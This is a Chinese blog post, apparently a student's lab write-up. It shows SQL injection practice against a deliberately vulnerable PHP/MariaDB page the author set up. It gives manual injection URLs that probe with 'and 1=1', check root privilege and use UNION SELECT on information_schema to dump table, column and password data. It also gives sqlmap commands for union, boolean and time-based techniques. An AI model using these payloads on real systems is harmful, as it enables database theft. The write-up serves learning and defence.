SQL注入实践学习
欢迎来我的博客,这是我在学习SQL注入实践学习的一些操作与收获。学习的目的是为了更好的了解这个漏洞,然后去防御它,而不是为了危害他人。
实验背景:
1.VMware 12 pro
2.fedora 27
了解漏洞
什么是SQL注入漏洞?
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
分析漏洞原理
SQL注入漏洞产生的原因是什么?
sql注入绕过程序限制,让数据在数据库中执行。
一个系统存在这个漏洞会导致什么后果?
SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。
漏洞的重现和利用
安装MariaDB、PHP、Apache环境。
以上软件可以直接用yum命令进行安装
使用mysql时若出现这种错误
IP只能输入自己机子的IP
可以写个php测试程序看看是否成功1
phpinfo();
如果不能看到php的信息
需要在httpd/conf/httpd.conf文件中加入下面这句话,保证apache能打开php文件
之后重新启动服务
写个php程序查看三者时候完成连接1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$servername = "localhost";
$username = "username";
$password = "password";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "连接成功";
如果出现了这种结果说明三者连接成功。
搭载存在SQL注入的php页面。
1 |
|
在被供给端的mysql中创建表1
create table `user`(`id` int(11) not null,`username` varchar(20) not null,`password` varchar(20) not null,primary key (`id`)) engine=myisam default charset=latin1;
创建表内数据1
insert into `user` (`id`,`username`,`password`) values (1,'leon','admin'),(2,'susan','test');
手工实现注入,内容包括:
(1)判断是否存在SQL注入
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。1
2
3
4
5①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=’YY’,所以可以用以下步骤测试SQL注入是否存在。1
2
3
4
5①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’,abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='1', abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2', abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
地址栏输入1
http://192.168.203.133/mysqltest.php?uid=4 &password='dama'
显示出结果说明能够读取数据库。
在uid后面加上and 1=1,看看时候与原来的结果一致
然后把and 1=1 改为 and 1=2,这时候应该不会出结果,抑或出的结果是假的。
这样就有可能存在sql注入。
(2)当前数据库权限判断
将URL修改如下1
http://localhost/mysqltest.php?uid=4 and ord(mid(user(),1,1))=114 &password='dama'
and ord(mid(user(),1,1))=114这个语句判断ROOT权限,返回正确则存在 。
(3)判断字段数
ORDER BY 关键词用于对记录集中的数据进行排序。这个必须得在语句最后面加。
Order by number 后面的number可以一个一个试 当且仅当number <= 字段数时才会显示,可以采用二分法。
(4)获取数据库库名
版本大于5.0的mysql的information_schema库中存储着mysql的所有数据库和表结构信息,所以可以利用information_schema库快速注入。1
http://localhost/mysqltest.php?uid=4 union select null,schema_name,null from information_schema.schemata union select * from user where id =4 &password='dama'
从中可以看出数据库名有RUNOOB ,fendo ,mysql ,test
(5)获取数据库表名1
http://localhost/mysqltest.php?uid=4 and 1=2 union select null,table_name,null from information_schema.tables where table_schema='test' union select * from user where id =3 &password='dama'
因为在test数据库下我只有一个表,所以正确。
(6)获取数据库字段名
在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。1
http://localhost/mysqltest.php?uid=4 and 1=2 union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='user' union select * from user where id =3 &password='dama'
(7)获取数据
前面的数据库名、表名都获得了、获取值就很简单了。1
http://localhost/mysqltest.php?uid=4 and 1=2 union select id,username,password from user union select * from user where id =3 &password='dama'
sqlmap Union注入结合分析环境
sqlmap直接上官网下载解压后运行python脚本就可以。
图中标记的是我所实验的三种注入模式。
如果你之前注入过,想对该目标重新测试注入的话需要添加下列语句
1 | python sqlmap.py --flush-session --technique=U -u "http://192.168.203.133/mysqltest.php?uid=4&password='dama'" |
我们把抓到的语句经过URL转码后得到下面的语句:1
http://192.168.203.133/mysqltest.php?uid=4 UNION ALL SELECT CONCAT(CONCAT('qjzkq','ckGrchIfPYGkHKDqObdRzCgABTDJoILyHinrfREf'),'qkxzq'),NULL,NULL-- &password='dama'
通过union语句的注入,判断是否执行了union语句就能判断注入是否成功。
sqlmap Boolean Based注入
1 | python sqlmap.py --flush-session --technique=B -u "http://192.168.203.133/mysqltest.php?uid=4&password='dama'" |
我们把抓到的语句经过URL转码后得到下面的语句:1
http://192.168.203.133/mysqltest.php?uid=4 AND 1699=1699&password='dama'
通过1699=1699这个布尔语句,如果执行结果与原来的一样则说明注入有可能成功了。
它前面还有一个两个不同数字相等的布尔语句,这时候不出结果,两个结合起来判断是否注入成功。
sqlmap Time Based注入
1 | python sqlmap.py --flush-session --technique=T -u "http://192.168.203.133/mysqltest.php?uid=4&password='dama'" |
我们把抓到的语句经过URL转码后得到下面的语句:1
http://192.168.203.133/mysqltest.php?uid=4 AND SLEEP(5)&password='dama'
通过AND SLEEP(5)使得数据库显示等待5秒,通过返回时间判断是否注入成功。
试分析如果公司服务器存在这种漏洞,会对公司有什么影响?
对方可以知道你的库名、表名、字段名和数据,把你的数据库拷贝到本地,然后你的数据库就外漏了,如果库里面存放的是帐号和密码,你数据库里面的用户就有财产损失。